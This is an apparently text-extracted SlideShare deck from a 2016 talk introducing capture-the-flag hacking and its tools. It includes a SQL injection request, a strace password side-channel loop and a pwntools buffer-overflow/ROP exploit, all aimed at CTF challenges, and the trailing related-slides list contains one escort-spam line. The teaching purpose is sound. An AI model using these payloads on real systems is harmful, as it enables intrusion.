SlideShare a Scribd company logo
1 of 44
Download to read offline
A CTF Hackers Toolbox
Grazer Linuxtage 2016
$ who
mike/@f0rki
f0rki@hack.more.systems
CS/InfoSec Student
CTF Player since 2010
@stefan2904
stefan@hack.more.systems
CS/InfoSec/CI Student
CTF Player since 2014
CTF: Capture The Flag
Collaborative hacking competitions
Teams vs. Teams
The goal is to capture ags
CTF{THIS_IS_A_FLAG}
CTF Type: Jeopardy
Figure: Sharif CTF Challenge Board
CTF Type: Attack-Defense
Figure: RUCTFe 2015 Network Schema (source: RUCTF org)
CTF Type: Attack-Defense
Figure: FAUST CTF 2015 scoreboard
Why CTFs?
It's fun!
Gain experience in Information Security
Challenges modeled after real-world problems
Sometimes real-world bugs modeled after CTF bugs?
LosFuzzys: A CTF Team in Graz
We Like Bugs!
LosFuzzys: A CTF Team in Graz
A group of people interested in information security
Primarily CS/SW/ICE Students from TUGraz
But we welcome anyone interested and motivated :)
and maybe even you ;)
Irregular Meet-ups
Where to start?
Talk to us! :-)
https://hack.more.systems
twitter: @LosFuzzys
Read writeups!
Repo: github.com/ctfs
Ours: hack.more.systems/writeups
CTF Toolbox
CTF Toolbox
Great diversity of challenges
Some things turn up frequently
Knowledge of technology necessary
Experience helps a lot
Using the right tools is essential
assuming you know how to use them . . .
Scripting is your best Friend
Be comfortable in automating things
Use whatever works best
bash, zsh etc.
Python, Ruby etc.
Command-Line-Fu is very helpful
Standard utils  grep, sed, awk, sort, cut, uniq, . . .
Network stu  nc, socat, dig, nmap
Query json  jq
HTTP  curl
. . .
Pipe together to get your results!
Bash Password Guessing
f o r x in q w e r t y u i o p a s d f g h j k l z 
x c v b n m Q W E R T Y U I O P A S D F G H J 
K L Z X C V B N M 1 2 3 4 5 6 7 8 9 0 − _ ?
do
echo = $x =
# count s i g a c t i o n s y s c a l l s
s t r a c e ./ stage3 . bin Did_you_l$x$x$x$x$x$x$x$x 21 
| grep s i g a c t i o n 
| wc −l
done  log
# get h i g h e s t count of s i g a c t i o n s and t r i g g e r i n g char
cat log | grep −B 1 
$ ( cat log | grep −v = | s o r t | uniq | t a i l −n 1)
Automated Browsing  python-requests
import r e q u e s t s
URL = ' http :// c t f . example . com '
s = r e q u e s t s . s e s s i o n ()
r = s . post (URL + ' / l o g i n ' ,
data={ ' user ' : ' fuzzy ' , ' pass ' : ' 1234 ' })
# GET http :// c t f . example . com/ vuln ?x=' or%201=1−−x
resp = s . get (URL + ' / vuln ' ,
params={ ' x ' : '  ' or 1=1 −−x ' })
# s e s s i o n cookie automagically used here
p r i n t resp . t e x t
# f l a g {some_flag_of_some_service}
Dirty Networking  pwntools
from pwn import ∗
r = remote ( ' c t f . example . com ' , 1337)
# l i n e based
r . r e c v l i n e ()
r . s e n d l i n e ( 'HELO %s%s%s%s ' )
r . r e c v u n t i l ( ' 250 Hello ' )
data = r . recv (4)
# unpack LE uint32 from bin
i = u32 ( data )
log . i n f o ( ' r e c e i v e d uint32 {} ' . format ( i ))
# pack BE uint32 to bin
r . send ( p32 (1094795585 , endian=' big ' ))
r . r e c v l i n e ()
Finding  Analyzing Vulnerabilities
Analyzing Java/.NET Apps
Great decompilers!
Java/Dalvik bytecode
intellij built-in decompiler (fernower), procyon
http://www.javadecompilers.com/
Android apps/Dalvik bytecode
apktool, smali/baksmali, jadx
Xposed
.NET bytecode
ILSpy, Jetbrains dotPeek
A wild binary appears!
$ f i l e ./ pwn
pwn : ELF 32− b i t LSB executable , I n t e l 80386 ,
v e r s i o n 1 (GNU/ Linux ) , s t a t i c a l l y linked ,
f o r GNU/ Linux 2 . 6 . 2 4 ,
not s t r i p p e d
$ objdump -d ./pwn | less
Keep Calm
And
Use radare2
From git
radare2  example commands
Search for functions containing exec
afl~exec
Show/search all strings in the le
izz
izz~FLAG
Compute CRC32 over next 32 byte
#crc32 32
Binary Decompilers
No really good open source binary decompilers :(
The radare guys are working on one
Commercial/Closed-Source
Hex-Rays/IDA Pro Decompiler ($$$)
Hopper ($)
retdec (free, webservice, no x86_64)
Debugging?
Debuggers
Use gdb with one of those:
PEDA
GEF
pwndbg
voltron
gdb-dashboard
gdb alternatives: lldb, radare2
Newer debugging approaches
qira
rr
Pwning!
$ mkfifo ./ f i f o
$ ./ pwn ./ f i f o  python −c ' p r i n t (A∗4128) '  ./ f i f o
[ 1 ] 9391
The f i l e has been saved s u c c e s s f u l l y
[ 1 ] + 9391 segmentation f a u l t ( core dumped) ./ pwn ./ f i f o
$ dmesg | t a i l −n 1
pwn [ 9 3 9 1 ] : s e g f a u l t at 41414141 ip 0000000041414141
sp 00000000 ffb6d340 e r r o r 14
pwntools again!
from pwn import ∗ # NOQA
v e l f = ELF(  ./ pwn )
r = ROP( v e l f )
r . c a l l (  e x i t  , [ 4 2 ] )
payload = A ∗ 4124 + s t r ( r )
# launch process
vp = process ( [  ./ pwn ,  ./ f i f o  ] )
gdb . attach ( vp )
# break ∗0 x8048f4e
with open (  ./ f i f o  , w ) as f :
f . w r i t e ( payload )
# forward s t d i n / stdout to process s t d i n / stdout
vp . i n t e r a c t i v e ()
pwntools/binjitsu
I/O abstraction (called Tubes)
ELF parser/info
Return Oriented Programming (ROP)
Shellcode
plug'n'pwn
shellcode builder
Binary data parsing
. . .
Cryptography
Crypto Tools
Pen  Paper
sage
CAS  python
packages implementing attacks, e.g.
python-paddingoracle
hashpumpy (hash length extension attack)
. . .
Learn to Improvise
Premature optimization* is the root of all evil!
* also commenting code
* also clean code
(only true for attack  during CTFs!)
If it works once, . . . it works!
Code-reuse between dierent CTFs!
Post-CTF code cleanup would be good . . .
A fool with a tool is still a fool!
https://hack.more.systems
Thanks to
all LosFuzzys members
tuflowgraphy.at
realraum
IAIK
Writeups of Used Examples
https://hack.more.systems/writeups
9447ctf: premonition (web)
NDH quals 2016: matriochka (reversing)
NDH quals 2016: secure le reader (pwn)
don't be eve!

More Related Content

What's hot

Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1Michael Gough
 
Kernel Recipes 2019 - ftrace: Where modifying a running kernel all started
Kernel Recipes 2019 - ftrace: Where modifying a running kernel all startedKernel Recipes 2019 - ftrace: Where modifying a running kernel all started
Kernel Recipes 2019 - ftrace: Where modifying a running kernel all startedAnne Nicolas
 
Job Queue in Golang
Job Queue in GolangJob Queue in Golang
Job Queue in GolangBo-Yi Wu
 
Scheduling in Android
Scheduling in AndroidScheduling in Android
Scheduling in AndroidOpersys inc.
 
Machine Learning on Your Hand - Introduction to Tensorflow Lite Preview
Machine Learning on Your Hand - Introduction to Tensorflow Lite PreviewMachine Learning on Your Hand - Introduction to Tensorflow Lite Preview
Machine Learning on Your Hand - Introduction to Tensorflow Lite PreviewModulabs
 
Reducing boot time in embedded Linux
Reducing boot time in embedded LinuxReducing boot time in embedded Linux
Reducing boot time in embedded LinuxChris Simmonds
 
syzkaller: the next gen kernel fuzzer
syzkaller: the next gen kernel fuzzersyzkaller: the next gen kernel fuzzer
syzkaller: the next gen kernel fuzzerDmitry Vyukov
 
Fun with Network Interfaces
Fun with Network InterfacesFun with Network Interfaces
Fun with Network InterfacesKernel TLV
 
introduction to linux kernel tcp/ip ptocotol stack
introduction to linux kernel tcp/ip ptocotol stack introduction to linux kernel tcp/ip ptocotol stack
introduction to linux kernel tcp/ip ptocotol stack monad bobo
 
Linux Initialization Process (1)
Linux Initialization Process (1)Linux Initialization Process (1)
Linux Initialization Process (1)shimosawa
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentTeymur Kheirkhabarov
 
Introduction to Linux Kernel by Quontra Solutions
Introduction to Linux Kernel by Quontra SolutionsIntroduction to Linux Kernel by Quontra Solutions
Introduction to Linux Kernel by Quontra SolutionsQUONTRASOLUTIONS
 

What's hot (20)

Embedded Android : System Development - Part II (Linux device drivers)
Embedded Android : System Development - Part II (Linux device drivers)Embedded Android : System Development - Part II (Linux device drivers)
Embedded Android : System Development - Part II (Linux device drivers)
 
Memory model
Memory modelMemory model
Memory model
 
Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1
 
Kernel Recipes 2019 - ftrace: Where modifying a running kernel all started
Kernel Recipes 2019 - ftrace: Where modifying a running kernel all startedKernel Recipes 2019 - ftrace: Where modifying a running kernel all started
Kernel Recipes 2019 - ftrace: Where modifying a running kernel all started
 
Linux cheat-sheet
Linux cheat-sheetLinux cheat-sheet
Linux cheat-sheet
 
Job Queue in Golang
Job Queue in GolangJob Queue in Golang
Job Queue in Golang
 
Scheduling in Android
Scheduling in AndroidScheduling in Android
Scheduling in Android
 
Machine Learning on Your Hand - Introduction to Tensorflow Lite Preview
Machine Learning on Your Hand - Introduction to Tensorflow Lite PreviewMachine Learning on Your Hand - Introduction to Tensorflow Lite Preview
Machine Learning on Your Hand - Introduction to Tensorflow Lite Preview
 
Reducing boot time in embedded Linux
Reducing boot time in embedded LinuxReducing boot time in embedded Linux
Reducing boot time in embedded Linux
 
Android 10
Android 10Android 10
Android 10
 
Embedded Hypervisor for ARM
Embedded Hypervisor for ARMEmbedded Hypervisor for ARM
Embedded Hypervisor for ARM
 
Linux Network Stack
Linux Network StackLinux Network Stack
Linux Network Stack
 
syzkaller: the next gen kernel fuzzer
syzkaller: the next gen kernel fuzzersyzkaller: the next gen kernel fuzzer
syzkaller: the next gen kernel fuzzer
 
Fun with Network Interfaces
Fun with Network InterfacesFun with Network Interfaces
Fun with Network Interfaces
 
introduction to linux kernel tcp/ip ptocotol stack
introduction to linux kernel tcp/ip ptocotol stack introduction to linux kernel tcp/ip ptocotol stack
introduction to linux kernel tcp/ip ptocotol stack
 
Linux Initialization Process (1)
Linux Initialization Process (1)Linux Initialization Process (1)
Linux Initialization Process (1)
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
 
Linux : PSCI
Linux : PSCILinux : PSCI
Linux : PSCI
 
Introduction to Linux Kernel by Quontra Solutions
Introduction to Linux Kernel by Quontra SolutionsIntroduction to Linux Kernel by Quontra Solutions
Introduction to Linux Kernel by Quontra Solutions
 
Linux Internals - Interview essentials 4.0
Linux Internals - Interview essentials 4.0Linux Internals - Interview essentials 4.0
Linux Internals - Interview essentials 4.0
 

Viewers also liked

Ctf For Beginner
Ctf For BeginnerCtf For Beginner
Ctf For BeginnerWei-Bo Chen
 
Playing 44CON CTF for fun and profit
Playing 44CON CTF for fun and profitPlaying 44CON CTF for fun and profit
Playing 44CON CTF for fun and profit44CON
 
EUhackathon 2015: Team Tschunk
EUhackathon 2015: Team TschunkEUhackathon 2015: Team Tschunk
EUhackathon 2015: Team TschunkStefan
 
Building the 44CON CTF
Building the 44CON CTFBuilding the 44CON CTF
Building the 44CON CTF44CON
 
Root the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF AdministrationRoot the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF AdministrationChristopher Grayson
 
HITCON CTF 2014 BambooFox 解題心得分享
HITCON CTF 2014 BambooFox 解題心得分享HITCON CTF 2014 BambooFox 解題心得分享
HITCON CTF 2014 BambooFox 解題心得分享Chong-Kuan Chen
 
Best nature photography in india
Best nature photography in indiaBest nature photography in india
Best nature photography in indiapankaj788
 
Operating Systems - A Primer
Operating Systems - A PrimerOperating Systems - A Primer
Operating Systems - A PrimerSaumil Shah
 
The art of standing out.
The art of standing out.The art of standing out.
The art of standing out.Alex Esser
 
Implantación de una sección bilingüe
Implantación de una sección bilingüeImplantación de una sección bilingüe
Implantación de una sección bilingüeCarmen Arias
 
Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03Publis NCM
 
ODS2 Client Cases
ODS2  Client CasesODS2  Client Cases
ODS2 Client Casesboudealink
 
Hypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio MoraHypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio Moramaditabalnco
 
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...Ivan Marcos Toledo
 
Alimentos transgénicos
Alimentos transgénicosAlimentos transgénicos
Alimentos transgénicosmakaciencia
 
Caso de estudio 6
Caso de estudio 6Caso de estudio 6
Caso de estudio 6Liz Rembao
 

Viewers also liked (20)

Ctf For Beginner
Ctf For BeginnerCtf For Beginner
Ctf For Beginner
 
Playing 44CON CTF for fun and profit
Playing 44CON CTF for fun and profitPlaying 44CON CTF for fun and profit
Playing 44CON CTF for fun and profit
 
EUhackathon 2015: Team Tschunk
EUhackathon 2015: Team TschunkEUhackathon 2015: Team Tschunk
EUhackathon 2015: Team Tschunk
 
Building the 44CON CTF
Building the 44CON CTFBuilding the 44CON CTF
Building the 44CON CTF
 
Capture The Flag
Capture The FlagCapture The Flag
Capture The Flag
 
Python
PythonPython
Python
 
Root the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF AdministrationRoot the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF Administration
 
HITCON CTF 2014 BambooFox 解題心得分享
HITCON CTF 2014 BambooFox 解題心得分享HITCON CTF 2014 BambooFox 解題心得分享
HITCON CTF 2014 BambooFox 解題心得分享
 
Best nature photography in india
Best nature photography in indiaBest nature photography in india
Best nature photography in india
 
How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF
 
Operating Systems - A Primer
Operating Systems - A PrimerOperating Systems - A Primer
Operating Systems - A Primer
 
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
 
The art of standing out.
The art of standing out.The art of standing out.
The art of standing out.
 
Implantación de una sección bilingüe
Implantación de una sección bilingüeImplantación de una sección bilingüe
Implantación de una sección bilingüe
 
Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03
 
ODS2 Client Cases
ODS2  Client CasesODS2  Client Cases
ODS2 Client Cases
 
Hypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio MoraHypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio Mora
 
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
 
Alimentos transgénicos
Alimentos transgénicosAlimentos transgénicos
Alimentos transgénicos
 
Caso de estudio 6
Caso de estudio 6Caso de estudio 6
Caso de estudio 6
 

Similar to A CTF Hackers Toolbox

Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersYury Chemerkin
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - RoutersLogicaltrust pl
 
Python and Machine Learning
Python and Machine LearningPython and Machine Learning
Python and Machine Learningtrygub
 
How Secure Are Docker Containers?
How Secure Are Docker Containers?How Secure Are Docker Containers?
How Secure Are Docker Containers?Ben Hall
 
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);Joel Porquet
 
Linux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloudLinux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloudAndrea Righi
 
Cypherock Assessment (1).pdf
Cypherock Assessment (1).pdfCypherock Assessment (1).pdf
Cypherock Assessment (1).pdfPARNIKA GUPTA
 
golang_getting_started.pptx
golang_getting_started.pptxgolang_getting_started.pptx
golang_getting_started.pptxGuy Komari
 
All I know about rsc.io/c2go
All I know about rsc.io/c2goAll I know about rsc.io/c2go
All I know about rsc.io/c2goMoriyoshi Koizumi
 
Kamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, codeKamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, codeKamil Witecki
 
Performance Profiling in Rust
Performance Profiling in RustPerformance Profiling in Rust
Performance Profiling in RustInfluxData
 
Introduction to Compiler Development
Introduction to Compiler DevelopmentIntroduction to Compiler Development
Introduction to Compiler DevelopmentLogan Chien
 
Advanced Debugging Using Java Bytecodes
Advanced Debugging Using Java BytecodesAdvanced Debugging Using Java Bytecodes
Advanced Debugging Using Java BytecodesGanesh Samarthyam
 
Rust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineRust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineMatt Provost
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)Alexandre Moneger
 
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak   CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak PROIDEA
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Vincenzo Iozzo
 
Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?Aleksandr Yampolskiy
 

Similar to A CTF Hackers Toolbox (20)

Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
 
Python and Machine Learning
Python and Machine LearningPython and Machine Learning
Python and Machine Learning
 
Debug generic process
Debug generic processDebug generic process
Debug generic process
 
How Secure Are Docker Containers?
How Secure Are Docker Containers?How Secure Are Docker Containers?
How Secure Are Docker Containers?
 
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
 
Os lab final
Os lab finalOs lab final
Os lab final
 
Linux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloudLinux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloud
 
Cypherock Assessment (1).pdf
Cypherock Assessment (1).pdfCypherock Assessment (1).pdf
Cypherock Assessment (1).pdf
 
golang_getting_started.pptx
golang_getting_started.pptxgolang_getting_started.pptx
golang_getting_started.pptx
 
All I know about rsc.io/c2go
All I know about rsc.io/c2goAll I know about rsc.io/c2go
All I know about rsc.io/c2go
 
Kamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, codeKamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, code
 
Performance Profiling in Rust
Performance Profiling in RustPerformance Profiling in Rust
Performance Profiling in Rust
 
Introduction to Compiler Development
Introduction to Compiler DevelopmentIntroduction to Compiler Development
Introduction to Compiler Development
 
Advanced Debugging Using Java Bytecodes
Advanced Debugging Using Java BytecodesAdvanced Debugging Using Java Bytecodes
Advanced Debugging Using Java Bytecodes
 
Rust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineRust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command Line
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)
 
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak   CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
 
Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?
 

Recently uploaded

SpotFlow: Tracking Method Calls and States at Runtime
SpotFlow: Tracking Method Calls and States at RuntimeSpotFlow: Tracking Method Calls and States at Runtime
SpotFlow: Tracking Method Calls and States at Runtimeandrehoraa
 
VK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web DevelopmentVK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web Developmentvyaparkranti
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEEVICTOR MAESTRE RAMIREZ
 
Unveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesUnveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesŁukasz Chruściel
 
CRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceCRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceBrainSell Technologies
 
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样umasea
 
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...OnePlan Solutions
 
Software Coding for software engineering
Software Coding for software engineeringSoftware Coding for software engineering
Software Coding for software engineeringssuserb3a23b
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWave PLM
 
Comparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfComparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfDrew Moseley
 
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Natan Silnitsky
 
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024StefanoLambiase
 
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxTier1 app
 
Balasore Best It Company|| Top 10 IT Company || Balasore Software company Odisha
Balasore Best It Company|| Top 10 IT Company || Balasore Software company OdishaBalasore Best It Company|| Top 10 IT Company || Balasore Software company Odisha
Balasore Best It Company|| Top 10 IT Company || Balasore Software company Odishasmiwainfosol
 
Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Velvetech LLC
 
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...Cizo Technology Services
 
Precise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalPrecise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalLionel Briand
 

Recently uploaded (20)

SpotFlow: Tracking Method Calls and States at Runtime
SpotFlow: Tracking Method Calls and States at RuntimeSpotFlow: Tracking Method Calls and States at Runtime
SpotFlow: Tracking Method Calls and States at Runtime
 
VK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web DevelopmentVK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web Development
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEE
 
Unveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesUnveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New Features
 
CRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceCRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. Salesforce
 
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
 
Advantages of Odoo ERP 17 for Your Business
Advantages of Odoo ERP 17 for Your BusinessAdvantages of Odoo ERP 17 for Your Business
Advantages of Odoo ERP 17 for Your Business
 
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
 
Software Coding for software engineering
Software Coding for software engineeringSoftware Coding for software engineering
Software Coding for software engineering
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need It
 
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort ServiceHot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
 
Comparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfComparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdf
 
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
 
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
 
2.pdf Ejercicios de programación competitiva
2.pdf Ejercicios de programación competitiva2.pdf Ejercicios de programación competitiva
2.pdf Ejercicios de programación competitiva
 
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
 
Balasore Best It Company|| Top 10 IT Company || Balasore Software company Odisha
Balasore Best It Company|| Top 10 IT Company || Balasore Software company OdishaBalasore Best It Company|| Top 10 IT Company || Balasore Software company Odisha
Balasore Best It Company|| Top 10 IT Company || Balasore Software company Odisha
 
